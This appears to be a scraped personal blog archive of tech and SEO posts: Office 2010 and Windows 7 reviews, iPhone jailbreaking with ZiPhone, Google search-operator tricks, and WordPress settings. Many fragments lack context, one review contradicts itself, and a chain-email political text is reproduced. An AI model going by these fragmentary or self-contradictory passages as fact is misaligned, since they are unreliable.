I thought the Twitter link at the top was obvious enough but I guess not!  You can find me on Twitter at @petervatistas – follow me and let’s keep the conversation going!  Thanks for all the emails – I appreciate it!  I’ll hand out links to my followers again, I’ll let you know when!  ;)

Huh?  How did I enable internet tethering on my iPhone when AT&T can’t support it?  Actually AT&T can… they just haven’t allowed it yet – but you can.  Visit Chris Dannen’s Secret iPhone Tethering Fix tutorial over at Fast Company and enjoy internet tethering and MMS now.

Well thank you Google Books for thinking of me and realizing that my shiny new Macbook Pro has prime real estate for stickers!

I’m very excited to see the final result; the beta’s I tested nailed it and I heard Apple squeezed in even more treats since the final beta!

UPDATE: When I’m wrong, I’m wrong!  I just logged in to check my shipping status since the mailman skipped my house…  Apple finally updated my status to:

Shipped on: Aug 28, 2009 via US POSTAL SERVICE

Delivers: Sep 2, 2009

The Apple retail store is well stocked… ;)

Nokia’s Executive Vice President for Devices, Kai Oistamo, speaks about adding a netbook to their range of products:

“A growing number of people want the computing power of a PC with the full benefits of mobility. We are in the business of connecting people and the Nokia Booklet 3G is a natural evolution for us. Nokia has a long and rich heritage in mobility and with the outstanding battery life, premium design and all day, always on connectivity, we will create something quite compelling. In doing so we will make the personal computer more social, more helpful and more personal.”

Seriously!!  It’s FREE!  Just click, sign up and backup now for free!

Microsoft sent out an invitation this morning to a big list of peeps to test out Office 2010, which I was happy to accept!  I am very impressed with this release of Office 2010 so far but I was also impressed with how I was able to access and download it – using Microsoft Connect.

For those of you wondering what the email says (yes, I have already been asked):

Welcome! We are pleased to invite you into the Technical Preview program to be among the first people in the world to experience Microsoft® Office 2010.

The following link will bring you to Microsoft Connect, where you will find downloads available for early, pre-release versions of Microsoft Office 2010 products. You will also find product information and have the chance to participate in newsgroups to engage with our product teams and other program participants. Please note that there is no technical support offered for this program.

To get started, please click on the link below. This is a one-time-use only url associated with this e-mail address, so it cannot be shared with others to join the program. This will bring you to the Connect site where you will need to sign in with your Windows Live ID account. If you do not have a Windows Live ID, you can create one from the Connect site.

Your ticket to the Technical preview: LINK REMOVED

So right off the bat I open Outlook, Excel and Word and they all load within 3-4 seconds and are ready to use within 5-7 seconds.  This is EXTREMELY FAST and an ENORMOUS improvement over Office 2010!  Microsoft has made some serious improvements to Office 2010 apps, both visually and behind the scenes.  I love how they have really utilized the real estate at the top of all applications as well as improving the Office ribbon (from 2007).  The Office button is much more efficient as well but most important to me is the fact that I am clicking less and working more with this version of Office.

So there you have it – lots of good comments for Office 2010 and we’re only on the Technical Preview!  For benchmark purposes: I am running Office 2010 TP on my Macbook Pro 13 (Intel 2.53 Core 2 Duo, 8GB 1067 MHz DDR3 Ram, 256GB SSD) via VMWare Fusion v2.0.5.

What’s included in this update:
▪ Upgrades Safari to version 4.0.2.
▪ Improves the accuracy of full history search in Safari 4.
▪ Resolves an issue in which certain resolutions might not appear in the Display pane in System Preferences.
▪ Dragging an Aperture image into Automator now invokes an Aperture action instead of incorrectly invoking an iPhoto action.
▪ Resolves an issue that could prevent importing of large photo and movie files from digital cameras.
▪ Improves overall Bluetooth reliability with external devices, USB webcams and printers.
▪ Addresses an issue that could cause extended startup times.
▪ Improves iCal reliability with MobileMe Sync and CalDav.
▪ Addresses data reliability issues with iDisk and MobileMe.
▪ Improves overall reliability with AFP.
▪ Improves overall reliability with Managed Client.
▪ Improves compatibility and reliability for joining AirPort networks.
▪ Improves Sync Service reliability.
▪ Includes additional RAW image support for several third-party cameras.
▪ Improves compatibility with some external USB hard drives.
▪ Includes latest security fixes.

“OSX86 is a collaborative hacking project to run the Mac OS X computer operating system on non-Apple personal computers with x86 architecture processors.

Personally I love seeing this. Steve Ballmer is a jag-off and it’s about time things come around and bite him in the ass. Seriously – this guy publicly knocks anything and everything that has real potential. The world’s jaw dropped when the iPhone was revealed, except for Steve Ballmer that is. He thought it was a pile of junk…

I definitely feel this is a good indicator of things to come. I don’t see businesses adopting Windows 7 that much more than they did Vista. Do you?

To download Secrets, click here!

Good luck and hit me up if you want someone to test with!    ;)

-Peter

If you’ve purchased a qualifying computer or Xserve on or after June 8, 2009 that does not include Mac OS X Snow Leopard, you can upgrade to Mac OS X Snow Leopard for $9.95.

To check if you’re eligible click here!

Thanks Apple.

Microsoft Office Applications Introduction

Microsoft Word 2010

Microsoft Excel 2010

Microsoft Outlook 2010

Microsoft Powerpoint 2010

Microsoft Access 2010

Microsoft Publisher 2010

Microsoft OneNote 2010

Microsoft Office Web Applications 2010

Click here to watch the unveiling of Google Wave at Google I/O.

Click here to learn more about Google Wave.

After stepping back from Windows Vista (Ultimate) and reinstalling XP Pro on all my computers, I was left wanting what I expected to get when dropping over $300 on Vista… a more advanced operating system that is in-tune with today and tomorrow.  Apple did a fantastic job of catching my attention and eventually finding it’s place into my home and office; OS X Leopard had what I wanted and it actually worked very well.  Although I still run Microsoft Windows XP Pro and even Vista on a couple machines, I have been using OS X Leopard a lot… until last week – that is.

Microsoft Windows 7 is what I wanted to and really expected to see in Vista.  I have been using Windows 7 RC for a little over a week now, running all applications I normally run (MS Office 2007 Pro, Adobe CS4 Master, etc) and really pushing this OS hard, trying to crack it like I did with Vista and every other OS I’ve used to date (Linux, BSD, OS X, etc).  So far Windows 7 is not just hanging in there but seriously performing; running much faster and way more efficiently than Vista ever did, providing a longer battery life on my laptop, zero downtime and lots of new slick surprises.  This is really surprising considering all the non-compatible applications I am forcing it to run on a regular basis.

Windows 7 Release Candidate has me excited about Windows as a primary operating system again and I hope Microsoft continues to really listen to what we want in an operating system.  Apple has taken advantage of the Vista tragedy and earned its place in a lot of homes it probably never would of if Microsoft went from XP to Windows 7 (skipping Vista altogether).  What excites me about this is we are starting to see some healthy competition as Apple really forced Microsoft to look at them as a company that could take a chunk of their business.  Microsoft cannot afford another Vista and with the release of Windows 7 RC they proved they listend, learned and are headed down a smarter path.

If you are currently running Windows 7 RC (not Beta) I would love to hear your experience with it.  Thank you!

To learn more about Microsoft Windows 7 or if you are ready to take the dive at give the release candidate a run, click here.  I think Microsoft has released Windows 7 RC to the general public or will be doing so this week – very exciting!!

This application easy extremely easy to use and does exactly what it says, it converts and burns .avi video/movie files to DVD so you can watch on almost any DVD player.  I say almost any DVD player for my own liability but I have yet to find a DVD player that hasn’t accepted a disc I burned using Xilisoft.

Now while I do recommend this application I want to make it clear that there may be better or free ones out there.  I happened to be searching on my own, found this one and have used it ever since.  If you have something better, cheaper or just straight free please let us know – I’ll make sure to update this thread if a better one exsists!

You can find out more about Xilisoft AVI to DVD Converter here: http://www.xilisoft.com/avi-to-dvd-converter.html

1.  Digital Point – An awesome internet marketing forum for webmasters.

2.  SEOmoz – I have a PRO membership and I suggest getting one as well, their tools rock (especially Linkscape).

3.  SEOBook – Aaron Wall is a really smart guy and always has fantastic information and tools available.  I am a member of his training program, I own the book and I am addicted to his forum.  Oh yeah, I read his blog too!

4.  Social Media Daily – Michelle put together a phenomenal e-book called Social Media Daily.  It’s free and you need to read it.  Michelle also recently launched a 6-week training program.  I have not joined the training program but if it’s anything close to her Social Media Daily e-book, I’d say it’s going to be worth it.  If you have joined this program I’d love to hear what you think of it so far.

5.  Real Estate Webmasters & SEO Guy – Real Estate Webmasters was created by Morgan (SEO Guy), one of the greatest SEO’s in my opinion and a pioneer in the online real estate industry.  The REW forum is geared towards the real estate industry of course but still offers awesome resources and information for any internet marketer.  For those of you who want less industry specific info I suggest checking out the SEO Guy forum then.

Of course there are many other resources available online that offer awesome information, tools and relationships.  I hope to hear what you guys think, what would your top 5 be?  Remember this list is in no specific order, that would be very difficult for me to do… LOL.

When people claim a keyphrase is competitive, what does that mean to you?  As an SEO you should know how to gauge the competitiveness of keyphrases before you tell another SEO that a phrase is hard to rank for.  There are a lot of tools people use to determine how hard a keyphrase is, but I just like using good ole school Google, and good ole school Yahoo.

Since I am talking about SEO, I figured a local modifier to that phrase would yield the right kind of “semi – competitive but sexy” SERP.  For my readers who don’t know what a SERP is, it means Search Engine Result Pages in the SEO world.  So let’s take a look at Phoenix SEO and a few Google and Yahoo tricks that can help us determine if that phrase is even that difficult.

First, just search Google for the phrase.  There you go; you’ll land here http://www.google.com/search?q=Phoenix+SEO and see the SERP for Phoenix SEO.  Besides the actual results, there are a few things you should check out on this page.  First, who is ranking for the term.  Right now I am seeing ObuSearch, DataFlurry, and MCP Media at the top.  That should be a good sample set for later on in the post. Notice to the right area of the page.  Currently it tells me there are about 299,000 results.  A healthy amount, but it’s nothing compared to searching Google, for let’s say Google.  2.5 billion, now that’s a lot.  That should give you some perspective.

So we have determined that not a whole hell of a lot of people are talking about Phoenix SEO.  Searches like Tucson SEO and Wichita SEO surprisingly yield more results!  But take a look at two other things on the page.  There are a lot of ads running for that phrase. And at the top there, a bunch of local SEO businesses in that Google Maps one box.

Now, you have determined two things.  The market is not as big as you would think for this service.  I mean Phoenix is a huge city, I am surprised there aren’t that many web pages in Google’s index for this query.  But there are a lot of businesses competing for a slice of that pie.  So the other thing we have found is that the marketplace is competitive.  If there is a big market with few companies competing, it’s called an opportunity.  If it’s a small market with a lot of companies competing, some may call it a waste of time, but I digress.

Let’s take it a step further and determine who is actually actively TRYING to rank for Phoenix SEO.  This can be done with a few google commands.  First let’s determined the people who have talked about the exact phrase “Phoenix SEO“.  You can do this by putting quotes around your query. Honestly, there are only 22,500 results in Google’s index for this phrase.  That still may seem like a lot, but its really not.

Next we will see who has links pointing to their site with Phoenix SEO in the anchor text.  In Google, type in allinanchor:Phoenix SEO and search.  Google will then find the sites with the most links with Phoenix SEO in the anchor.  Funny, 22,500 results again.  MCP Media is up there at the top, followed by, you guessed it, DataFlurry and ObuSearch.  That correlation between actual rankings and anchor text in the links is no coincidence.

And a step further, type in allinanchor:”Phoenix SEO” with quotes around “Phoenix SEO”.  You’ll see only the sites with that exact anchor text in their links.  Mostly the same guys, but I see ClassicHits now is up there.  This tells me they are actively link building, and looking to rank on Google for Phoenix SEO.

The anchor text link is the most powerful aspect of SEO.  But there is another extremely important piece of the pie here.  The actual title of the page (up at the top of your browser window on the left) is the second most important aspect.  Luckily, google has a command to find those pages and sites as well.  Instead of “allinanchor:” try “allintitle:” and your search.  To continue on, we’ll stick to Phoenix SEO and check the results.

Wow, only 273 results on Google for Phoenix SEO.  Notice the actual SERP is different now.  MCP Media is still up there at the top, but now we have azpixles.com and atomicmedium.com creeping into the front page.  Those two sites just need more good links and they should rank well.

Speaking of links, Google does have a command to find links but it doesn’t give you much, which sucks.  It doesn’t tell you how many links a site really has.  Try it, the commad is link:Phoenix SEO.  Interesting, on this page there are 153,000 results.  But it shows who is getting links.  DataFlurry again hustling, and now we see PhoeenixSynergy make an entrance in to the top results as well.  Now let’s try replacing the keyphrase with the top website to see what Google sees as far as links pointing to the site. Try link:www.dataflurry.com and see what happens.  That’s right, only 308 results.  Mere child’s play.

Now here’s the problem, and here is where I switch engines.  Google’s link command sucks.  Pretty much pointless.  Open up good ole Yahoo and try the same command.  Holy crap, over 32k links, and it even shows the sites and let’s you download the list!  This is how you see what your competition is really doing with their links.  Turns out it is a little competitive eh?

Try using your main keyphrases and replacing Phoenix SEO in the commands outlined above.  You’ll learn a lot about your competition, that’s for sure!

Google does a great job of monetizing the data they intake and this is definitely Google taking monetization to the next level.  I do see how this could raise eyebrows on the privacy factor and I agree,  I don’t like being tracked by cookies.  I also don’t like the thought of people getting an idea of what I am looking at by seeing what ads appear on my machine.

Google hopes to pre-empt this concern by offering their users the ability to control what kind of ads they see but it also is more of a broad approach at this time.  “To provide greater privacy protections to users, we will not serve interest-based ads based on sensitive interest categories,” said Nicole Wong, one of Google’s legal representatives.

“For example, we don’t have health status interest categories or interest categories designed for children.”

Users can modify their ad preferences through the ad preferences manager.

Scottsdale SEO

Lou Amundson is awesome.

:)

Of course make sure to back your iPhone using Itunes and follow Google’s directions closely.  Good luck!

Google Sync for Mobile Video | Click here to try Google Sync Beta for your iPhone

NINJA HAULER: 2005 Nissan Xterra – $12900 (Ronan / Lake County )

________________________________________
Reply to: sale-945361858@craigslist.org [?]
Date: 2008-12-04, 5:15PM MST
OK, let me start off by saying this Xterra is only available for purchase by the manliest of men (or women). My friend, if it was possible for a vehicle to sprout chest hair and a five o’clock shadow, this Nissan would look like Tom Selleck. It is just that manly.

It was never intended to drive to the mall so you can pick up that adorable shirt at Abercrombie & Fitch that you had your eye on. It wasn’t meant to transport you to yoga class or Linens & Things. No, that’s what your Prius is for. If that’s the kind of car you’re looking for, then just do us all a favor and stop reading right now. I mean it. Just stop.

This car was engineered by 3rd degree ninja super-warriors in the highest mountains of Japan to serve the needs of the man that cheats death on a daily basis. They didn’t even consider superfluous nancy boy amenities like navigation systems (real men don’t get lost), heated leather seats (a real man doesn’t let anything warm his butt), or On Star (real men don’t even know what the hell On Star is).

No, this brute comes with the things us testosterone-fueled super action junkies need. It has a 265 HP engine to outrun the cops. It’s got special blood/gore resistant upholstery. It even has a first-aid kit in the back. You know what the first aid kit has in it? A pint of whiskey, a stitch-your-own-wound kit and a hunk of leather to bite down on when you’re operating on yourself. The Xterra also has an automatic transmission so if you’re being chased by Libyan terrorists, you’ll still be able to shoot your machine gun out the window and drive at the same time. It’s saved my bacon more than once.

It has room for you and the four hotties you picked up on the way to the gym to blast your pecs and hammer your glutes. There’s a tow hitch to pull your 50 caliber anti-Taliban, self cooling machine gun. I also just put in a new windshield to replace the one that got shot out by The Man.
My price on this bad boy is an incredibly low $12,900, but I’ll entertain reasonable offers. And by reasonable, I mean don’t walk up and tell me you’ll give me $5,000 for it. That’s liable to earn you a Burmese-roundhouse-sphincter-kick with a follow up three fingered eye-jab. Would it hurt? Hell yeah. Let’s just say you won’t be the prettiest guy at the Coldplay concert anymore.

There’s only 69,000 miles on this four-wheeled hellcat from Planet Kickass. Trust me, it will outlive you and the offspring that will carry your name. It will live on as a monument to your machismo.

Now, go look in the mirror and tell me what you see. If it’s a rugged, no holds barred, super brute he-man macho Chuck Norris stunt double, then contact me. I might be out hang-gliding or BASE jumping or just chilling with my ladies, but I’ll get back to you. And when I do, we’ll talk about a price over a nice glass of Schmidt while we listen to Johnny Cash.

To sweeten the deal a little, I’m throwing in this pair of MC Hammer pants for the man with rippling quads that can’t fit into regular pants. Yeah, you heard me. FREE MC Hammer pants.

Rock on.

depoconnor@gmail.com

********************************

3rd Party 2257 Record Keeping

FYI.  Your emails/comments will not be approved so please do not worry.  Thank you for your help guys!

Where have all the leaders gone?

Lee Iacocca Says:

‘Am I the only guy in this country who’s fed up with what’s happening? Where the hell is our outrage? We should be screaming bloody murder! We’ve got a gang of clueless bozos steering our ship of state right over a cliff, we’ve got corporate gangsters stealing us blind, and we can’t even clean up after a hurricane much less build a hybrid car. But instead of getting mad, everyone sits around and nods their heads when the politicians say, ‘Stay the course.’

Stay the course? You’ve got to be kidding. This is America, not the damned, ‘Titanic’. I’ll give you a sound bite: ‘Throw all the bums out!’

You might think I’m getting senile, that I’ve gone off my rocker, and maybe I have. But someone has to speak up. I hardly recognize this country anymore.

The most famous business leaders are not the innovators but the guys in handcuffs. While we’re fiddling in  Iraq , the Middle East is burning and nobody seems to know what to do. And the press is waving ‘pom-poms’ instead of asking hard questions. That’s not the promise of the ‘America’ my parents and yours traveled across the ocean for. I’ve had enough. How about you?

I’ll go a step further. You can’t call yourself a patriot if you’re not outraged. This is a fight I’m ready and willing to have. The Biggest ‘C’ is Crisis! (Iacocca elaborates on nine C’s of leadership, with crisis being the first.)

Leaders are made, not born. Leadership is forged in times of crisis. It’s easy to sit there with your feet up on the desk and talk theory. Or send someone else’s kids off to war when you’ve never seen a battlefield yourself. It’s another thing to lead when your world comes tumbling down.

On September 11, 2001, we needed a  strong leader more than any other time in our history. We needed a steady hand to guide us out of the ashes. A hell of a mess, so here’s where we stand.

We’re immersed in a bloody war with no plan for winning and no plan for leaving.

We’re running the biggest deficit in the history of the country.

We’re losing the manufacturing edge to Asia, while our once-great companies are getting slaughtered by health care costs.

Gas prices are skyrocketing, and nobody in power has a coherent energy policy. Our schools are in trouble.

Our borders are like sieves.

The middle class is being squeezed every which way.

These are times that cry out for leadership.

But when you look around, you’ve got to ask: ‘Where have all the leaders gone?’ Where are the curious, creative communicators? Where are the people of character, courage, conviction, omnipotence, and common sense? I may be a sucker for alliteration, but I think you get the  point.

Name me a leader who has a better idea for homeland security than making us take off our shoes in airports and throw away our shampoo?

We’ve spent billions of dollars building a huge new bureaucracy, and all we know how to do is react to things that have already happened.

Name me one leader who emerged from the crisis of Hurricane Katrina. Congress has yet to spend a single day evaluating the response to the hurricane or demanding accountability for the decisions that were made in the crucial hours after the storm.

Everyone’s hunkering down, fingers crossed, hoping it doesn’t happen again. Now, that’s just crazy. Storms happen. Deal with it. Make a plan. Figure out what you’re going to do the next time.

Name me an industry leader who is thinking creatively about how we can restore our competitive edge in manufacturing. Who would have believed that there could ever be a time when ‘The Big Three’ referred to Japanese car companies? How did this happen, and more important, what are we going to do about it?

Name me a government leader who can articulate a plan for paying down the debit, or solving the energy crisis, or managing the health care problem. The silence is deafening. But these are the crises that are eating away at our country and milking the middle class dry.

I have news for the gang in Congress. We didn’t elect you to sit on your asses and do nothing and remain silent while our democracy is being hijacked and our greatness is being replaced with mediocrity. What is everybody so afraid of? That some bonehead on Fox News will call them a name? Give me a break. Why don’t you guys show some spine for a change?

Had Enough? Hey, I’m not trying to be the voice of gloom and doom here.  I’m trying to light a fire. I’m speaking out because I have hope – I believe in America. In my lifetime, I’ve had the privilege of living through some of  America ’s greatest moments. I’ve also experienced some of our worst crises: The ‘Great Depression,’ ‘World War  II,’ the ‘Korean War,’ the ‘Kennedy Assassination,’ the ‘Vietnam War,’ the 1970’s oil crisis, and the struggles of recent years culminating with 9/11.

If I’ve learned one thing, it’s this: ‘You don’t get anywhere by standing on the sidelines waiting for somebody else to take action. Whether it’s building a better car or building a better future for our children, we all have a role to play. That’s the challenge I’m raising in this book. It’s a “Call to Action” for people who, like me, believe in America’. It’s not too late, but it’s getting pretty close. So let’s shake off the crap and go to work. Let’s tell ‘em all we’ve had ‘enough.’

Make your own contribution by sending this to everyone you know and care about. It’s our country, folks, and it’s our future. Our future is at stake!!

Click here for the official C-SPAN White House Week webpage.

Its about time RIM makes a Blackberry device like the Blackberry Storm where business meets pleasure! I think this device is headed in the right direction but definitely misses the mark against devices like the Apple iPhone and Google’s G1. Although the Blackberry Storm shows us phone guys that RIM is listening, it still lacks where the marketing is going.

I like the Google G1 & the Apple iPhone because of the strive to allow complete and full customization of your device along with a strong developer & community following. Blackberry has potential here and has always been the leader in business devices but when it comes to the Blackberry storm I think I am better of chosing between Google’s G1 and the Apple iPhone.

Now take a look at the Google G1 and tell me what you think. It’s an iPhone, Sidekick and Blackberry Storm all in one without the hassles of limited applications, partial QWERTY or on screen keyboards.

Now the Apple iPhone is currently what I use and its overall a great device. Although I have had nothing but great things to say about the iPhone and iPhone 3G, I think its time to move on. I am a major Google buff and utilize all their services religiously (Google and Skype). The Google G1 is my next device for sure and but I will be keeping a close eye on what RIM plans to do with future versions of the Blackberry Storm.

In my opinion the Scottsdale AZ Real Estate site Russ Lyon wins my vote in design, usability and the overwhelming amount of authoritative data and presence. Russ Lyon Sotheby’s International Realty is a powerhouse and it is not a surprise their website rocked the pants off of REAL Trends and 1000Watt Consulting.

Click here to view the Top Ten Real Estate Brokerage Websites in America

Click here for Arizona Luxury Real Estate at Russ Lyon Sotheby’s International Realty!

Click here to view the Nine Best Brokerage Sites? by inman news

Data provided by the Hollywood Stock Exchange (HSX).

The D-Link DPH-50U plugs directly into your computer or laptop via USB. There are two RJ11 ports on the side of this small device, one for a landline and the other for your telephone. That’s right folks, you can have two phone lines using this device – landline and Skype! I have a Uniden phone system I purchased from Best Buy and only the main base needs to plug into the landline jack. This phone system has 5 bases that all wirelessly communicate with the main base, so now I have both my landline and my Skype in every room of the house!!

In addition to the D-Link DPH-50U I also purchased the Netgear Skype phone for travel but you really don’t need one. Where ever you go you can bring the D-Link USB Skype adapter, even hotel phones (just plug it directly into the device and your good to go!).

Now if your interested in the D-Link DPH-50U make sure to buy it through Amazon.com, they seem to have the best prices on these and you can get it really fast for free!

Don’t vote… Unless you actually care. I do not share my political views publicly but I do have to say this is the first time I’ve really wanted to vote. These two candidates are very different in almost every aspect and only one is really going to make the right changes. You should know by now who that person is and you need to vote for him when the time comes, hopefully you’re registered.

Another add-in called the Xcelsius Background Builder, enables someone with no graphic design skills to create a visually stunning graphical interface.

The following example illustrates the power of Xcelsius with Centigon Solutions components: Centigon Solutions Plugin Component Demo

About Xcelsius:

Xcelsius 2008 is a development environment for creating Adobe Flash-based dashboards and presentations using Excel and web services as a data source.

Xcelsius is capable of generating sleek, highly interactive visuals that can be deployed to a web browser or on the desktop in PDF or PPT. The beauty of Xcelsius is that the entire point and click development process empowers non technical users to jump in and build applications using Excel as their data source. For those who are more technically savvy, Xcelsius 2008 includes an SDK that enables Flex developers to integrate and extend new functionality within the development environment.

Within minutes I realized that Google’s Chrome browser is built with today and the future in mind. Mozilla’s Firefox was built using old technology and just updated over and over again; Microsoft’s Internet Explorer (6, 7, 8 Beta) is a frickin lost cause and I get nauseated just thinking about it. Google hit the nail on the head with this one and I highly recommend downloading Chrome today and giving it a shot, you will be pleasently surprised.

Click here to see all the slick features in Chrome.

Click here to Download Google Chrome.

What you don’t want to do is click on any of these email to unsubscribe. By clicking unsubscribe you are notifying the spammer that you have a valid email account (and your dumb enough to click their spam) and you can bet your ass you’ll be seeing a lot more spam from now on. I’ve heard that there are viruses attached to these emails, I haven’t seen any. It may be due to my kick ass Antivirus – Nod32 by Eset. If you’ve noticed any viruses or spyware please let me know.

BTW, I have about 20 different email accounts across all service providers (gmail, msn, yahoo, exchange, etc…) and the only account that blocks all of these emails as well as all spam in general is gmail. I use Google Apps for my main email addy and it rocks, 0 spam in my inbox 100% of the time. If you’re having issues with spam it may be time to either look into gmail or adding a service like Postini to your email account.

Good luck!

Personalize your player:

Discover music:

Sync your device:

Click here to learn more and download Songbird.

Before we start this process, please sync your iphone with the current version of iTunes to make sure all your data is backed up.

1. Open iTunes and click Help, then Check for Updates. Let iTunes upgrade to 7.7.

2. Download the iPhone 2.0 firmware (225MB – .ipsw file ). If by chance it has a .zip extension at the end (after the .ipsw extension, just remove it).

3. Connect your iPhone to your computer and select it in iTunes. Hold down the shift button (Windows Vista) and select the restore button.

4. Once the browser window pops up, browse to the .ipsw file you just downloaded and select it.

5. Now iTunes will upgrade your iPhone and should take 15 +/- minutes.

6. After the iPhone has been upgraded, iTunes will ask to setup as a new iPhone or restore from a backup, click restore (will use your most recent sync data).

Your all set!! Now head into the App store in iTunes and download all the killer apps!!

Hosted Marketing Pages are an extremely powerful link-building method that are optimized pages with content relevant to your keywords. The Hosted Marketing Pages are hosted in Text Link Broker’s partner sites which are all above a Google PR5 and have between 10 and 10,000 links pointing to them.

The great thing about this service is these pages are optimized content based on your keywords. They contain embedded links that are natural looking – much more powerful than links located on the side of bottom of a page.

HMP’s (Hosted Marketing Pages) also give you more control over your online reputation. Because your adding many HMP’s across many domains with your optimized content, you build a stronger presence for your site and your reputation, helping to lower other (not so nice) pages in the SERPS along with your competitors.

So what do you guys think? Who here has tried HMP’s before and what was your level of success? Click here to learn more about Hosted Marketing Pages.

Want to talk about Hosted Marketing Pages in detail? Check out this thread in the Peter-V Forum.

I’m not a fan of this decision; there are few companies I consult for who actually plan to migrate to Windows Vista. Most IT professionals I speak to say they plan to wait until Windows 7 releases before they migrate away from Windows XP.

Click here to download the latest version of Microsoft Silverlight.

I hope that helps! Let me know if Firefox 3 still crashes on www.msn.com after installing the lastest version of Silverlight.

Click here to download Firefox 3

ZiPhone is by far the most complete jailbreak application I have ever seen and it is compatible for Windows (XP & Vista) as well as OS X. Normally I write tutorial type posts, walking you through step-by-step on how to do various technical things. Seriously all I can say here is just install ZiPhone, connect your iPhone or iTouch and then click the button for what you want to do – THATS IT!

Within ZiPhone you are given 4 basic options:

Do it all!: This button will jailbreak, activate and unlock your phone. It will also downgrade the bootloader if it’s v4.6. If you bought a new iPhone and want it to be completely independent of any operators, use this button.

Jailbreak: JAILBREAK (iPhone/iPod Touch): This will open the whole file system for read/write access, so that you can install third party applications, tweaks etc. Installer.app will automatically be installed when this option is selected.

Jailbreak + Activate: Same as above button, but it will also activate the phone.

Prepare for Upgrade: If you want to upgrade or restore your iPhone, use this button to set the phone in DFU-mode first then use iTunes to restore your phone to wanted firmware.

Good luck with your jailbreak!

Download ZiPhone 3.0 for Windows

Download ZiPhone 3.0 for Mac

Make sure to check out the following sites:

ZiPhone Homepage | GeoHot’s Blog | iPhone-Elite.org | Hackingt0sh Forum

If you run into any issues during your jailbreak make sure to click the Help & Info button in ZiPhone!

Permalinks
Permalink Settings > Custom Structure
/%post_id%/%postname%/

Mod Rewrite (Make sure you have Mod Rewrite enabled on your server)
Permalink Settings > .htaccess

RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]

Ping your posts
Writing Settings > Update Services
http://rpc.pingomatic.com/
http://api.feedster.com/ping
http://api.moreover.com/RPC2
http://api.my.yahoo.com/RPC2
http://xping.pubsub.com/ping/
http://ping.blo.gs/
http://ping.feedburner.com
http://ping.syndic8.com/xmlrpc.php
http://ping.weblogalot.com/rpc.php
http://rpc.blogrolling.com/pinger/
http://rpc.icerocket.com:10080/
http://rpc.newsgator.com/
http://rpc.technorati.com/rpc/ping
http://rpc.weblogs.com/RPC2
http://topicexchange.com/RPC2
http://www.blogdigger.com/RPC2
http://www.blogstreet.com/xrbin/xmlrpc.cgi
http://www.newsisfree.com/RPCCloud
http://ping.weblogs.se/
http://blogmatcher.com/u.php
http://coreblog.org/ping/
http://www.blogpeople.net/servlet/weblogUpdates
http://bulkfeeds.net/rpc
http://trackback.bakeinu.jp/bakeping.php
http://ping.myblog.jp
http://ping.bitacoras.com
http://ping.bloggers.jp/rpc/
http://ping.blogmura.jp/rpc/
http://xmlrpc.blogg.de
http://1470.net/api/ping
http://bblog.com/ping.php
http://blog.goo.ne.jp/XMLRPC
http://blogsearch.google.com/ping/RPC2
http://ping.amagle.com/
http://ping.rootblog.com/rpc.php
http://rcs.datashed.net/RPC2/
http://rpc.blogbuzzmachine.com/RPC2
http://www.blogoole.com/ping/
http://www.blogsnow.com/ping
http://www.lasermemory.com/lsrpc/
http://www.popdex.com/addsite.php
http://www.snipsnap.org/RPC2
http://www.wasalive.com/ping/
http://www.weblogues.com/RPC/
http://www.blogsdominicanos.com/ping/
http://www.xianguo.com/xmlrpc/ping.php
http://www.feedsky.com/api/RPC2

In a following post I will provide my list of WordPress plugins that I use and recommend.

In the past I’ve set up my clients with Google Alerts to monitor what’s being said about them and who’s saying it. One of the downfalls of Google Alerts is it lacks features; it’s a strong tool but it’s missing the ability to monitor all social/search sites, produce RSS feeds and the ability to share the information effortlessly across your network of contacts.

Trackur goes beyond just Google content. It tracks images, videos, Digg, del.icio.us, Twitter, as well as the usual news and blog stuff. Trackur allows users to submit multiple keywords–such as their name, products, and brands–and automatically monitor news, blogs, images, video, and other social media for any mention of those keywords.

Users can view their results using a cool AJAX enabled interface and get updates via email or RSS. You can save multiple searches, add filter keywords, save discovered items, and sort the results the way you want. Think about this, by using RSS feeds you can quickly integrate the feeds into your company’s intranet site so the right people can have the right information without any extra steps! Even better, integrate these feeds directly into their email client and spare them their inbox!!

Google Alerts, can’t do any of that!

If your one of the thousands of companies interested in hearing what the world is saying about you, then I suggest signing up for the 14-day free trial so you can see for your self. Even if your an individual, wouldn’t it be nice to see whats being said about you, your friends, family or even or your boss? How about an old girlfriend or childhood buddy?

Trackur works for your peace of mind, every hour of every day.

Here is a video-walk through created by the maker of Trackur, Andy Beal:

Click here to sign up for the 14-day Trackur trial.

The most valuable thing I spend my money on by far is events, website memberships and books. Of course I buy links, I pay for analytical services, content and etc but those come secondary to my budget and many times I never spend a single dime on them.

So what resources I spend my money on and recommend?

SEOmoz – Get the premium membership, well worth the money.

SEO Book Training Program & the SEO Book – Either is fine, I find the training program is a lot like the book with updated content & a community presence.

For resources that is basically it; I’ve read probably close to 100 books on internet marketing and I’m a member of probably every SEO forum on the internet but with everything I know now the only two resources that actually teach me new things are the two listed above.

As for events (physical conferences, forums, etc) I recommend the following:

SMX: The Search Marketing Expo – $1395 for an all access pass.

SES: Search Engine Strategies – $1795 for a platinum passport.

PubCon: Search Marketing Conferences – $799 for a full pass.

Forums I recommend:

Search Engine Land

Sphinn

The V7 Network

Search Engine Watch

SEO Guy

Another thing I like to do is track the experts in search engine optimization. Here is a list of people I highly respect and follow religiously:

Aaron Wall

Chris Hooley

Andy Beal

Matt Cutts

Andy Hagans

Danny Sullivan

C.K. Chung

Lee Oden

Neil Patel

Patrick Sexton

Todd Malicoat

While I was consulting for a large student loan company, marketing a new community site, I regularly contacted webmasters for links. Because of how new the site was I constantly had issues getting other sites to link to me, the biggest reason why I had such a hard time was the lack of content. This went on for a few weeks and while I was still steadily building links, I wasn’t satisfied with the amount I was getting vs. the amount of content being produced by the internal staff.

One late night I decided to try something new, I emailed a handful of webmasters in relevant content fields and I asked them for help. I stated that we are a new, quality social-website in need of exposure and content. Instead of asking for a link, I asked if they would be interested in writing an article about their product, solution or experience and link to their site within their content. At the end of each email I added how beneficial this is to their exposure and if they would reciprocate the “love” by providing a link to us (even if its to their article on our site, I didn’t care).

Out of the 30+ emails I sent that night I received over 20 replies by the next afternoon; out of the 20 replies all but 2 agreed, linked and produced content for us. By the end of the week I had replicated this process several hundred times and the response was overwhelming – I had more content than I knew what to do with and my cup of link juice was overflowing big time!

